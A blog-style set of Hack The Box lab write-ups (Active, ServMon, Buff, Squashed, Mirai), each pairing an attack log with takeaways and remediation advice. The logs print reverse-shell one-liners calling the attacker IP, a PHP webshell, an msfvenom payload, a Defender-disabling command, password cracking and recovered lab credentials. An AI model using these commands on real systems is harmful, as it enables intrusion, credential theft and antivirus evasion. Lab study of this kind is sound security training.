kami@kali:~$ journalctl

Active writeup
Active writeup

Box name: Active

Difficulty: Easy

OS: Windows

Overview: Active is an easy to medium difficulty machine, which features two very prevalent techniques to gain privileges within an Active Directory environment.

Link: https://app.hackthebox.com/machines/Active?sort_by=created_at&sort_type=desc

Machine IP: 10.129.31.136

Ran rustscan to scan the machine per usual.

Looks like we got an AD machine. Added active.htb to my /etc/hosts. Wanted to enumerate for users but couldn’t find anything as anonymous bind is not enabled.

ldapsearch -x -H ldap://10.129.31.136:389 -b “dc=active,dc=htb”

Ran netexec to see if we have anonymous access to smb and it looks like we have read to Replication.

netexec smb 10.129.31.136 -u “” -p “” –shares

Connected with smbclient and inside I see a active.htb directory with a bunch of files in it so I grabbed it all.

smbclient //10.129.31.136/Replication

The only interesting file is a Groups.xml in /active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups.

This is cpassword credentials embedded in a group policy file. From previous notes we can crack this with gpp-decrypt.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

active.htb\SVC_TGS:GPPstillStandingStrong2k18

We can now kerberoast to see if we can get anything.

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.31.136 -request

We can use hashcat 13100 to try to crack.

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt –force

We successfully cracked the password. Used psexec to get a shell.

/usr/share/doc/python3-impacket/examples/psexec.py active.htb/Administrator:’Ticketmaster1968’@10.129.31.136

Got root.txt

Got user.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine with ports including 53 (DNS), 88 (Kerberos), 135 (MSRPC), 389 (LDAP), and 445 (SMB). Added active.htb to /etc/hosts. Attempted anonymous LDAP bind but it was not enabled. Checked SMB with netexec and found read access to the Replication share without authentication.

ldapsearch -x -H ldap://10.129.31.136:389 -b “dc=active,dc=htb” netexec smb 10.129.31.136 -u “” -p “” –shares

2 – GPP credential extraction Connected to the Replication share via smbclient and recursively downloaded all files. Found a Groups.xml file inside a Group Policy directory containing a cpassword attribute. Used gpp-decrypt to recover the plaintext credential.

smbclient //10.129.31.136/Replication gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Credentials recovered: active.htb\SVC_TGS:GPPstillStandingStrong2k18

3 – Kerberoasting Used the SVC_TGS credentials with impacket-GetUserSPNs to request Kerberos service tickets for accounts with SPNs registered. Received a TGS hash for the Administrator account. Cracked it with Hashcat using rockyou.

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.31.136 -request hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt –force

Credentials recovered: Administrator:Ticketmaster1968

4 – Root Used impacket-psexec with the cracked Administrator credentials to get a SYSTEM shell. Retrieved both user.txt and root.txt.

psexec.py active.htb/Administrator:’Ticketmaster1968’@10.129.31.136

Key Takeaways
1. GPP credentials stored in SYSVOL – MS14-025 (CVSS 4.3 Medium) – A Groups.xml file in the Replication share contained a cpassword attribute encrypted with a publicly known static AES key. Microsoft patched this in MS14-025 but the credential file persisted on this system. Any environment that previously used GPP password storage must audit all SYSVOL and replicated shares for remaining cpassword attributes and rotate all affected credentials.
2. SMB Replication share accessible without authentication – The Replication share was readable by unauthenticated users, exposing the full contents of replicated Group Policy files including the GPP credential. SMB shares must require authentication and permissions must be audited to ensure anonymous or guest access is not permitted.
3. Administrator account registered with an SPN and Kerberoastable – The Administrator account had an SPN registered, making it a target for Kerberoasting. High-privilege accounts must never have SPNs registered. Service accounts should be separate dedicated accounts with the minimum required permissions and their passwords must be long randomly generated strings resistant to offline cracking.
4. Weak Administrator password crackable with rockyou – The Administrator Kerberos service ticket hash was cracked using the rockyou wordlist. Administrator and service account passwords must be a minimum of 25 characters, randomly generated, and managed through a PAM solution to make offline cracking infeasible.
5. Full domain compromise from a single unauthenticated SMB read – The attack chain required no exploitation beyond reading a publicly accessible SMB share. A single GPP credential led to Kerberoasting and full Administrator access with no additional vulnerability required. Defense in depth and layered credential controls are essential in Active Directory environments.
Remediation

[Immediate] Audit and remove all GPP cpassword attributes – MS14-025 Search all SYSVOL directories and replicated shares for Groups.xml and other GPP preference files containing cpassword attributes using Get-GPPPassword or a similar tool. Remove all findings and rotate every credential that was stored in GPP. Apply MS14-025 if not already patched and confirm it is applied on all domain controllers.

[Immediate] Disable anonymous and guest SMB access Remove anonymous and guest read access from all SMB shares including Replication. Require authenticated access for all shares and audit permissions across the environment. No share containing Group Policy data or domain configuration should be readable without authentication.

[Immediate] Remove the SPN from the Administrator account Audit all accounts with SPNs registered using Get-ADUser -Filter {ServicePrincipalName -ne “$null”} and remove SPNs from any account that does not require them for a specific service function. The built-in Administrator account must never have an SPN registered.

[Immediate] Rotate the Administrator password and enforce a strong password policy Rotate the Administrator password immediately to a randomly generated string of at least 25 characters. Deploy Windows LAPS to manage local Administrator passwords automatically. Implement a Fine-Grained Password Policy requiring long random passwords for all privileged and service accounts.

[Short-term] Audit all Kerberoastable accounts Enumerate all accounts with SPNs and assess whether each SPN is legitimate and necessary. For any service account that must have an SPN, enforce a password of at least 25 randomly generated characters. Consider implementing Group Managed Service Accounts to handle password rotation automatically.

[Long-term] Implement an Active Directory security baseline and regular audit program Deploy a recurring AD security audit covering GPP credential remnants, Kerberoastable accounts, anonymous share access, privileged account SPN registrations, and password policy enforcement. Include Active Directory attack path analysis in the regular penetration testing scope and implement a SIEM with detection rules for Kerberoasting activity.
Servmon writeup
Servmon writeup

Box name: ServMon

Difficulty: Easy

OS: Windows

Overview: ServMon is an easy Windows machine featuring an HTTP server that hosts an NVMS-1000 (Network Surveillance Management Software) instance. This is found to be vulnerable to LFI, which is used to read a list of passwords on a user&#039;s desktop. Using the credentials, we can SSH to the server as a second user. As this low-privileged user, it&#039;s possible enumerate the system and find the password for NSClient++ (a system monitoring agent). After creating an SSH tunnel, we can access the NSClient++ web app. The app contains functionality to create scripts that can be executed in the context of NT AUTHORITY\SYSTEM. Users have been given permissions to restart the NSCP service, and after creating a malicious script, the service is restarted and command execution is achieved as SYSTEM.

Link: https://app.hackthebox.com/machines/ServMon?sort_by=created_at&sort_type=desc

Machine IP: 10.129.227.77

Ran rustscan.

rustscan -a 10.129.227.77 –ulimit 5000 -b 2000 — -Pn -A

Checked out FTP first as that looks like the lowest hanging fruits and we have anonymous access.

ftp 10.129.227.77

Found two users Nadine and Nathan and two files. Downloaded those to my machine. Read both files and theres a Passwords.txt on Nathan’s desktop. There’s also a mention of a NSClient.

Since we got nothing else from this let’s check out the http server. This is the NVMS that was mentioned.

Did research on this online it’s a CMS system and this version is vulnerable to directory traversal https://www.exploit-db.com/exploits/48311. As the box basically told us there are passwords on Nathan’s desktop we can try hitting that. I tried through the browser but it 404s. Curl grabbed it though.

curl –path-as-is “http://10.129.227.77/../../../../../../../../Users/nathan/Desktop/Passwords.txt“

Since there is ssh open on this windows device let’s use crackmapexec to spray these passwords.

Looks like we found creds nadine:L1k3B1gBut7s@W0rk

We’re able to ssh in.

ssh nadine@10.129.227.77

Got user.txt

Hosted a http server and created a temp directory so I can move over winpeas but so far I think I’ll have to do something with the NSClient.

sudo python3 -m http.server

Downloaded winpeas.

powershell -c “Invoke-WebRequest -Uri ‘http://10.10.16.147:8000/winPEASx86.exe’ -Outfile ‘C:\temp\winPEASx86.exe’”

And Ran it. From the results it only looks like the NSClient is interesting. From some googling we might be able to get a password from the config file.

type “C:\Program Files\NSClient++\nsclient.ini”

ew2x6SsGTxjRwXOT

Unfortunately that isn’t reused for nathan’s ssh password. NSClient is running on port 5666 and 8443 though. Relogged into ssh with a tunnel.

ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77

I was able to log in with the newly found password.

I did some research and found windows/http/nscp_authenticated_rce and https://www.exploit-db.com/exploits/46802. Unfortunately metasploit wasn’t working properly. Followed exploit db instead. Created evil.bat, set up a listener. Added a foobar script.

Added the scheduler and saved the configuration at the top (spelled foobar wrong, I fixed that later as I was having issues).

Went to Control and reloaded. Realized I was missing nc64.exe so downloaded that to the victim machine too.

powershell -c “Invoke-WebRequest -Uri ‘http://10.10.16.147:8000/nc64.exe’ -Outfile ‘c:\temp\nc64.exe’”

Pivoted a bit here as following the exploit db path was wrong. We can make it a command and run it.

I ended getting stuck here so I looked at a writeup. I believe I was getting caught by an AV which was my issue. From this writeup it looks like we can turn it off https://medium.com/@Poiint/htb-servmon-write-up-dd3d03ac4f09.

echo ‘powershell Set-MpPreference -DisableRealtimeMonitoring $true’ > ~/fknhack/av.bat

And downloaded it to the machine.

powershell -c “Invoke-WebRequest -Uri ‘http://10.10.16.147:8000/av.bat’ -Outfile ‘c:\temp\av.bat’”

Added this to scripts.

Reloaded and I finally got a shell. I wouldn’t have considered an AV as this is an easy box and don’t have much studying in that regard so far but we’re finally done.

And we got root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 21 (FTP), 22 (SSH), 80 (HTTP), 5666 and 8443 (NSClient++). FTP stood out immediately as anonymous access was worth checking first.

rustscan -a 10.129.227.77 –ulimit 5000 -b 2000 — -Pn -A

2 – FTP anonymous access and file discovery Connected anonymously to FTP and found two directories for users Nadine and Nathan. Downloaded text files from both. Nadine’s file mentioned a Passwords.txt on Nathan’s desktop and referenced NSClient. Nathan’s file confirmed the password file location.

ftp 10.129.227.77

3 – Initial Access – NVMS-1000 directory traversal – EDB-48311 Browsed to the HTTP server on port 80 and found NVMS-1000 network surveillance software. Researched the version and found EDB-48311, an unauthenticated directory traversal vulnerability. Browser requests returned 404 but curl with the path-as-is flag successfully traversed to Nathan’s desktop and retrieved Passwords.txt.

curl –path-as-is “http://10.129.227.77/../../../../../../../../Users/nathan/Desktop/Passwords.txt”

4 – Password spray and SSH access Sprayed the recovered password list against both users via CrackMapExec. Nadine’s account matched. SSH’d in as Nadine and retrieved user.txt.

ssh nadine@10.129.227.77

Credentials recovered: nadine:L1k3B1gBut7s@W0rk

5 – NSClient++ password extraction Ran WinPEAS and identified NSClient++ as the only interesting finding. Read the NSClient++ config file directly and recovered the admin password.

type “C:\Program Files\NSClient++\nsclient.ini”

Password recovered: ew2x6SsGTxjRwXOT

6 – SSH tunnel and NSClient++ access NSClient++ was only accessible from localhost on port 8443. Re-established the SSH session with a local port forward to tunnel the service to the attack machine and authenticated to the web interface.

ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77

7 – Privilege Escalation – NSClient++ authenticated RCE – EDB-46802 Used EDB-46802 to exploit the NSClient++ script execution functionality. Created a malicious bat file that called nc64.exe to call back to a listener. Added it as a script in the NSClient++ interface and created a scheduler to execute it. AV was blocking the payload so disabled Windows Defender real-time monitoring via a separate bat file uploaded and executed through NSClient++. Reloaded the service and caught a shell as NT AUTHORITY\SYSTEM. Retrieved root.txt.

echo ‘powershell Set-MpPreference -DisableRealtimeMonitoring $true’ > av.bat

Key Takeaways
1. FTP anonymous access exposing sensitive notes – The FTP server allowed anonymous login and contained files referencing the location of a password file on a user’s desktop. Anonymous FTP access must be disabled on all systems and files containing any credential references must never be stored in accessible locations.
2. NVMS-1000 unauthenticated directory traversal – EDB-48311 (CVSS 7.5 High) – The NVMS-1000 instance was vulnerable to a path traversal exploit allowing unauthenticated reading of arbitrary files from the Windows filesystem. Network surveillance and management software must be kept patched and restricted to internal management networks only.
3. Plaintext password list stored on a user desktop – Nathan stored a list of plaintext passwords in a text file on his desktop, which was directly readable once the LFI was exploited. Passwords must never be stored in plaintext files on endpoints. A password manager with strong encryption must be used for all credential storage.
4. NSClient++ password recoverable from config file – The NSClient++ admin password was stored in plaintext in the nsclient.ini configuration file, readable by a low-privilege user. Sensitive service configuration files must have restrictive permissions and credentials must be stored in encrypted form.
5. NSClient++ authenticated RCE – EDB-46802 – The NSClient++ web interface allowed authenticated users to create and execute arbitrary scripts in the context of SYSTEM. Monitoring agent platforms running as SYSTEM that allow script execution are extremely high-risk and must be restricted to authorized administrators only with network-level access controls.
6. Windows Defender able to be disabled by a low-privilege process – Real-time monitoring was disabled via a PowerShell command executed through NSClient++. AV and EDR solutions must be protected against tampering by enforcing tamper protection policies and alerting on any attempt to modify security product configuration.
Remediation

[Immediate] Disable FTP anonymous access Disable anonymous FTP login immediately and require authenticated access for all FTP connections. If FTP is not operationally required, disable the service entirely and block port 21 at the firewall. Audit all FTP directories for sensitive files and remove any that contain credential references or user notes.

[Immediate] Patch NVMS-1000 to remediate EDB-48311 (CVSS 7.5 High) Update NVMS-1000 to the latest patched version immediately. Restrict access to the management interface to authorized internal IP ranges only. If the version is end of life with no available patch, replace it with a supported alternative and take the current instance offline.

[Immediate] Remove all plaintext password files from endpoints Audit all user desktops, documents, and download folders for plaintext password files and remove them immediately. Rotate all passwords that were stored in plaintext. Deploy an approved password manager and enforce its use through policy and training.

[Immediate] Restrict NSClient++ access and harden its configuration Restrict NSClient++ to localhost only and block external access to ports 5666 and 8443 at the host firewall. Require strong unique credentials for the web interface and audit which users have access. Restrict the script execution functionality to named administrator accounts only and log all script creation and execution events.

[Short-term] Enforce Windows Defender tamper protection Enable tamper protection in Windows Defender to prevent unauthorized modification of security product settings via PowerShell or other methods. Configure Group Policy to alert on any attempt to disable or modify AV or EDR configuration. Ensure security product health is monitored centrally.

[Short-term] Encrypt and restrict access to NSClient++ config files The nsclient.ini file must be readable only by the NSClient++ service account and local administrators. Migrate the admin password to an encrypted credential store. Audit all service configuration files across the environment for plaintext credentials and remediate any findings.

[Long-term] Implement a monitoring agent hardening baseline Define a hardening standard for all system monitoring agents including NSClient++, covering authentication requirements, network access restrictions, script execution controls, config file permissions, and credential storage. Include monitoring agents in the scope of regular penetration tests and vulnerability scans as they frequently run as SYSTEM and are overlooked in patch cycles.
Buff writeup
Buff writeup

Box name: Buff

Difficulty: Windows

OS: Easy

Overview: Buff is an easy-difficulty Windows machine that features an instance of Gym Management System 1.0. This is found to be vulnerable to an unauthenticated remote code execution vulnerability. Enumeration of the internal network reveals a service running on port 8888. The installation file for this service can be found on disk, allowing us to debug it locally. We can perform port forwarding to make the service available and exploit it.

Link: https://app.hackthebox.com/machines/Buff?sort_by=created_at&sort_type=desc

Machine IP: 10.129.2.18

Scanned the machine with rustscan.

rustscan -a 10.129.2.18 –ulimit 5000 -b 2000 — -A -Pn

Only saw one port open so I rescanned and also ran nmap for udp incase.

nmap –top-ports 100 -sV -sU 10.129.2.18

Navigated to the webserver in the meantime.

Robots.txt errored but did give some information.

Checked out source code but didn’t see anything eventful. I clicked around on the page and this looks interesting as it looks like we got a version.

Found that this is vulnerable https://www.exploit-db.com/exploits/48506 EDB-ID 48506. It’s not currently in msfconsole but I also found this if you wanted to utilize metasploit https://github.com/Zeop-CyberSec/gym_mgmt_system_unauth_rce. Saved the exploit db code in EDB-48506.py. Installed requirements.

pip2 install colorama requests 2>/dev/null

Then ran it and got a shell.

python2 EDB-48506.py http://10.129.2.18:8080/

I was unable to actually run commands besides ls. Eg when I was attempting to cd around it wasnt working. Tried stabilizing, same issue. I will upload a netcat executable to see if I get more control. Served it up on a http server.

python3 -m http.server 80

Set up a listener.

nc -lvnp 1337

From the victim machine downloaded it and ran it.

powershell -c “Invoke-WebRequest http://10.10.16.147/nc.exe -OutFile C:\xampp\htdocs\gym\upload\nc.exe”

C:\xampp\htdocs\gym\upload\nc.exe 10.10.16.147 1337 -e cmd.exe

And I got a shell.

Got user.txt.

Poking around further I found an .exe in shaun’s Downloads.

I don’t know what CloudMe is. After a bit of reading I found this https://github.com/alestorm980/CloudMe-Exploit. This may not be the exploit but it looks like this runs on port 8888. Confirmed this is running on this machine.

From that github I also realized that 1112 is the version number, so that exploit won’t work. Found what we really need https://www.exploit-db.com/exploits/48389. Time to port forward. This will be the first time I use ligolo as I heard it’s goated for port forwarding. Started the proxy.

./proxy -selfcert -laddr 0.0.0.0:11601

With http server already running I transferred the agent to the victim.

powershell -c “Invoke-WebRequest http://10.10.16.147/agent.exe -OutFile C:\xampp\htdocs\gym\upload\agent.exe”

Ran it to connect back.

C:\xampp\htdocs\gym\upload\agent.exe -connect 10.10.16.147:11601 -ignore-cert

The exploit database POC just opens calc. Need an actual payload.

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.16.147 LPORT=9001 -b ‘\x00\x0A\x0D’ -f python

Edited the code. Ran a listener and ran it and got a shell as admin.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified port 8080 (HTTP). Rescanned with Nmap including UDP to confirm no additional services were missed on standard ports. Browsed to the web server and found a Gym Management System. Robots.txt returned an error but disclosed some information. Clicking around the site revealed a version number.

rustscan -a 10.129.2.18 –ulimit 5000 -b 2000 — -A -Pn nmap –top-ports 100 -sV -sU 10.129.2.18

2 – Initial Access – Gym Management System 1.0 unauthenticated RCE Identified Gym Management System 1.0 as vulnerable to an unauthenticated RCE via EDB-48506. Downloaded and ran the exploit which landed a limited web shell. Standard navigation commands were not working so uploaded nc.exe via PowerShell and used it to catch a more stable cmd shell on a netcat listener. Retrieved user.txt.

python2 EDB-48506.py http://10.129.2.18:8080/ powershell -c “Invoke-WebRequest http://10.10.16.147/nc.exe -OutFile C:\xampp\htdocs\gym\upload\nc.exe” C:\xampp\htdocs\gym\upload\nc.exe 10.10.16.147 1337 -e cmd.exe

3 – Internal service discovery Found a CloudMe installer executable in shaun’s Downloads folder. Researched CloudMe and identified it as a service running on port 8888 internally. Confirmed the process was active on the machine. Identified the version as 1.11.2 from the installer filename.

4 – Port forwarding with Ligolo Used Ligolo-ng for port forwarding to make the internal port 8888 service accessible from the attack machine. Transferred the Ligolo agent to the victim via the existing web shell and connected it back to the Ligolo proxy running on the attack machine.

./proxy -selfcert -laddr 0.0.0.0:11601 powershell -c “Invoke-WebRequest http://10.10.16.147/agent.exe -OutFile C:\xampp\htdocs\gym\upload\agent.exe” C:\xampp\htdocs\gym\upload\agent.exe -connect 10.10.16.147:11601 -ignore-cert

5 – Privilege Escalation – CloudMe 1.11.2 buffer overflow Found EDB-48389, a buffer overflow exploit for CloudMe 1.11.2. Generated a custom shellcode with msfvenom using a bad character filter and replaced the calc placeholder payload in the exploit. Set up a listener and executed the exploit through the Ligolo tunnel, catching a shell as Administrator. Retrieved root.txt.

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.16.147 LPORT=9001 -b ‘\x00\x0A\x0D’ -f python

Key Takeaways
1. Unauthenticated RCE in Gym Management System 1.0 – The web application was running a version with a publicly known unauthenticated file upload and code execution vulnerability. Web applications must be kept up to date and version information must not be disclosed in the UI or response headers.
2. Vulnerable internal service running as a privileged user – CloudMe 1.11.2 was running internally on port 8888 under an account with administrative privileges. A buffer overflow in this service led directly to Administrator access. Internal services must run under least-privilege accounts and must be kept patched regardless of whether they are externally accessible.
3. Installer binary left on disk revealing internal software versions – The CloudMe installer in shaun’s Downloads folder disclosed the exact version number, enabling precise exploit selection. Installer files and software packages must be removed from endpoints after installation and download directories must be audited regularly.
4. Internal port accessible via port forwarding – Once a foothold was established, the internal CloudMe service was reachable by forwarding traffic through the compromised host. Defense in depth must account for attackers pivoting to internal services and host-based firewalls must restrict which processes can listen on local ports.
5. Web shell persistence in web root – The initial exploit wrote files to the web root that persisted and were used throughout the attack chain including for file transfers. File integrity monitoring on web roots must alert on new file creation and web application service accounts must have no write access to the web root.
Remediation

[Immediate] Patch or replace Gym Management System 1.0 Gym Management System 1.0 has a public unauthenticated RCE exploit and must be updated or replaced immediately. If no patch is available, take the application offline until a secure alternative can be deployed. Restrict access to the application to authorized IP ranges and require authentication on all endpoints.

[Immediate] Patch or remove CloudMe CloudMe 1.11.2 has a public buffer overflow exploit. Update CloudMe to the latest version or uninstall it if it is not operationally required. If a local service of this kind must run, ensure it does so under a least-privilege local service account with no administrative rights.

[Immediate] Remove installer files and clean up download directories Audit all user download and temp directories for installer binaries, setup executables, and software packages. Remove any files that disclose software versions or that could be used to identify internal tooling. Implement a policy requiring installer files to be deleted after deployment.

[Short-term] Implement file integrity monitoring on web roots Deploy file integrity monitoring on all web server directories to alert on new file creation or modification. The web application service account must have read-only access to the web root and must not be able to write executable files. Audit the current web root for any files uploaded through the initial compromise.

[Short-term] Restrict internal service listening ports Configure the host-based firewall to restrict which ports are accessible locally and from the network. CloudMe and similar user-facing desktop applications must not be accessible from other hosts on the network. Apply firewall rules limiting port 8888 to localhost only.

[Long-term] Implement a software inventory and patch management program Maintain a full inventory of all software installed across endpoints including user-installed applications such as CloudMe. Include all installed software in the vulnerability management scope and establish SLAs for patching desktop applications with known CVEs. Flag end-of-life or unsupported software for immediate decommissioning.
Squashed writeup
Squashed writeup

Box name: Squashed

Difficulty: Easy

OS: Linux

Overview: Squashed is an Easy Difficulty Linux machine that features a combination of both identifying and leveraging misconfigurations in NFS shares through impersonating users. Additionally, the box incorporates the enumeration of an X11 display into the privilege escalation by having the attacker take a screenshot of the current Desktop.

Link: https://app.hackthebox.com/machines/Squashed?sort_by=created_at&sort_type=desc

Machine IP: 10.129.228.109

Ran rustscan against the machine.

rustscan -a 10.129.228.109 –ulimit 5000 -b 2000 — -A -Pn

Right away from the name I’m assuming this has to do with root squashing that I have a brief understanding of. I also see port 2049 open. I can see some shares.

showmount -e 10.129.228.109

Mounted the /home/ross drive.

Cd’ing to documents we see a Passwords.kdbx. This is a Keepass file. It’s password protected when opening. Tried cracking but unfortunately unable to. Since we have access to /var/www/html I’m thinking we can get a webshell from port 80 instead. Mounted this drive instead.

sudo mount -t nfs 10.129.228.109:/var/www/html ~/fknhack/squashed/webroot -o nolock

Ran nmap script to get UID that we need.

nmap -p 111 –script nfs-ls 10.129.228.109

Created an account with proper UID we can use to drop a file.

sudo useradd -u 2017 pwn

sudo su pwn

I was stuck for a while but I had to give the user pwn access to my current directories. Created a rev shell.

echo ‘<?php system($_GET[cmd]); ?>’ > /tmp/shell.php

Moved it to the share.

sudo -u pwn cp /tmp/shell.php /home/scb/fknhack/squashed/webroot/shell.php

Then confirmed it worked.

curl http://10.129.228.109/shell.php?cmd=id

Time to get a full rev shell. Set up a listener.

Nc -lvnp 1337

Then triggered it.

curl “http://10.129.228.109/shell.php?cmd=bash+-c+’bash+-i+>%26+/dev/tcp/10.10.16.147/1337+0>%261′”

Got user.txt

Stabilized our shell.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

In /home there is a ross that we may need to laterally move to considering what we found earlier but lets check out what we have now.

Set up a httpserver to transfer over linepeas.

sudo python3 -m http.server 80

Downloaded it to the victim machine.

curl http://10.10.16.147:80/linpeas.sh -o linpeas.sh

Then ran linpeas. From the output it looks like the keepass file is definitely our path. It also looks like ross is logged in and keepass is running so maybe we can screenshot his sessions. We can add a user ross to do the same thing as we did earlier.

sudo useradd -u 1001 ross

sudo su ross

And we can copy .Xauthority

cp /home/scb/fknhack/squashed/ross/.Xauthority /tmp/.Xauthority

Exit

We can then edit the permissions.

Then transfer it over our other share.

sudo -u pwn cp /tmp/.Xauthority /home/scb/fknhack/squashed/webroot/.Xauthority

With our shell we can copy it then screenshot then send it to our machine.

cp /var/www/html/.Xauthority /tmp/.Xauthority

DISPLAY=:0 XAUTHORITY=/tmp/.Xauthority xwd -root -silent -out /tmp/screen.xwd

cd /tmp && python3 -m http.server 8888

wget http://10.129.228.109:8888/screen.xwd -O ~/fknhack/screen.xwd

convert ~/fknhack/screen.xwd ~/fknhack/screen.png

eog screen.png

root:cah$mei7rai9A

And we can switch user from our shell (sshing directly into the device seems to not work).

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), 111 (RPC), and 2049 (NFS). The box name and NFS port immediately suggested NFS misconfiguration. Enumerated available NFS shares.

rustscan -a 10.129.228.109 –ulimit 5000 -b 2000 — -A -Pn showmount -e 10.129.228.109

2 – NFS share enumeration and UID impersonation Found two NFS exports, /home/ross and /var/www/html. Mounted /home/ross and found a KeePass database in the Documents folder. Attempted to crack it without success. Mounted /var/www/html and used nmap NFS scripts to identify the UID of the share owner. Created a local user with the matching UID to impersonate the owner and gain write access to the web root.

sudo mount -t nfs 10.129.228.109:/var/www/html ~/fknhack/squashed/webroot -o nolock nmap -p 111 –script nfs-ls 10.129.228.109 sudo useradd -u 2017 pwn

3 – Initial Access – PHP webshell upload As the impersonated user, wrote a PHP webshell to the NFS-mounted web root and confirmed execution via curl. Triggered a bash reverse shell and obtained a foothold as the web application user. Retrieved user.txt.

echo ‘<?php system($_GET[cmd]); ?>’ > /tmp/shell.php curl “http://10.129.228.109/shell.php?cmd=bash+-c+’bash+-i+>%26+/dev/tcp/10.10.16.147/1337+0>%261′”

4 – X11 session hijack via .Xauthority theft Ran LinPEAS and identified that ross was logged in with an active X11 session and KeePass running. Created a local user matching ross’s UID to access the mounted /home/ross share and copied the .Xauthority cookie file. Transferred it into the web shell session via the NFS web root mount. Used the stolen cookie to authenticate to the X11 display and took a screenshot of ross’s desktop, which showed the KeePass database open with the root password visible.

sudo useradd -u 1001 ross cp /home/scb/fknhack/squashed/ross/.Xauthority /tmp/.Xauthority DISPLAY=:0 XAUTHORITY=/tmp/.Xauthority xwd -root -silent -out /tmp/screen.xwd convert ~/fknhack/screen.xwd ~/fknhack/screen.png

5 – Root Used the root password visible in the KeePass screenshot to switch to root from the existing shell. Retrieved root.txt.

Credentials recovered: root:cah$mei7rai9A

Key Takeaways
1. NFS shares with no_root_squash or weak UID controls – Both NFS exports allowed access based purely on local UID matching with no authentication. Creating a local user with the matching UID was sufficient to gain full read and write access to the share. NFS exports must use root_squash and all_squash where appropriate and access must be restricted to specific trusted client IPs.
2. Web root exposed via NFS with write access – The /var/www/html directory was writable via NFS, allowing direct upload of a PHP webshell without any authentication or vulnerability exploitation beyond UID spoofing. Web roots must never be exported via NFS and must be read-only for all accounts except dedicated deployment service accounts.
3. X11 display accessible without authentication – The X11 session for ross was accessible to any process that could obtain the .Xauthority cookie file. X11 forwarding and local display access must be restricted and display sessions must not be left unattended with sensitive applications open.
4. Sensitive credentials visible on an unattended desktop – The root password was visible in an open KeePass window on ross’s desktop. Sensitive credentials must never be left visible on screen and screen lock must be enforced after a short idle timeout on all systems.
5. KeePass database accessible via NFS mount – The KeePass file in ross’s home directory was readable through the NFS share, allowing offline cracking attempts. Home directories must not be exported via NFS and sensitive credential stores must have restrictive file permissions.
Remediation

[Immediate] Secure all NFS exports Audit all NFS exports and apply root_squash and all_squash options to prevent UID-based impersonation. Restrict each export to specific trusted client IP addresses using the hosts option in /etc/exports. Remove the /var/www/html export entirely as web roots must never be served over NFS.

[Immediate] Remove write access from the web root NFS export If any NFS export of web content is operationally required, mount it read-only. Audit the current web root for any files uploaded through the NFS write access and remove any webshells or unauthorized files.

[Immediate] Restrict X11 display access Disable X11 forwarding in the SSH configuration by setting X11Forwarding no in sshd_config. Restrict local display access using xhost and ensure .Xauthority files are readable only by the owning user with mode 600. Implement a screen lock policy requiring authentication after a short idle timeout.

[Short-term] Enforce screen lock and clean desk policy Configure automatic screen lock after a maximum of 5 minutes of inactivity on all systems with active desktop sessions. Implement a policy requiring all sensitive applications including password managers to be locked or closed when the workstation is unattended.

[Short-term] Restrict home directory NFS exports Home directories must not be exported via NFS. If remote home directory access is operationally required, implement it through an authenticated and encrypted protocol such as SSHFS. Apply mode 700 to all home directories to prevent cross-user access.

[Long-term] Implement an NFS hardening baseline and audit program Define a hardening standard for all NFS deployments covering export restrictions, squash options, client IP allowlists, and prohibited export paths. Include NFS services in regular vulnerability scans and penetration tests. Conduct a periodic audit of all active NFS exports across the environment to identify and remediate misconfigurations.
Mirai writeup
Mirai writeup

Box name: Mirai

Difficulty: Easy

OS: Linux

Overview: Mirai demonstrates one of the fastest-growing attack vectors in modern times; improperly configured IoT devices. This attack vector is constantly on the rise as more and more IoT devices are being created and deployed around the globe, and is actively being exploited by a wide variety of botnets. Internal IoT devices are also being used for long-term persistence by malicious actors.

Link: https://app.hackthebox.com/machines/Mirai?sort_by=created_at&sort_type=desc

Machine IP: 10.129.30.204

Ran rustscan against the machine.

rustscan -a 10.129.30.204 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the webserver but it errors out. Ran feroxbuster anyways and right away it found stuff so this is a legit webserver.

feroxbuster -u http://10.129.30.204 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

Went to /admin and its a raspberry pi dashboard.

Mirai deals with default creds. Looked up default creds pi:respberry and I was able to get in.

We’re able to get user.txt.

Ran sudo -l and we have root for everything. I switched to root, looked for the flag but we get trolled and a hint to where it could be.

Navigated there and it looks like we keep getting trolled lol.

Found where it was mounted and ran strings on it.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 53 (DNS), 80 (HTTP), and 32400 (Plex Media Server). The web server returned an error when browsed directly but feroxbuster confirmed it was active and immediately found content. Discovered an /admin path.

rustscan -a 10.129.30.204 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.30.204 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

2 – Initial Access – Raspberry Pi default credentials Navigated to /admin and found a Pi-hole dashboard identifying the device as a Raspberry Pi. Researched default Raspberry Pi credentials and authenticated via SSH using the well-known default pi:raspberry. Retrieved user.txt.

Credentials: pi:raspberry

3 – Privilege Escalation – unrestricted sudo Ran sudo -l and found the pi user had unrestricted sudo access. Switched to root immediately.

4 – Root flag recovery from USB drive The root flag was not in the expected location and a message hinted it had been deleted. Found a USB drive mounted on the system and ran strings against the raw device to recover the flag from unallocated space on the drive.

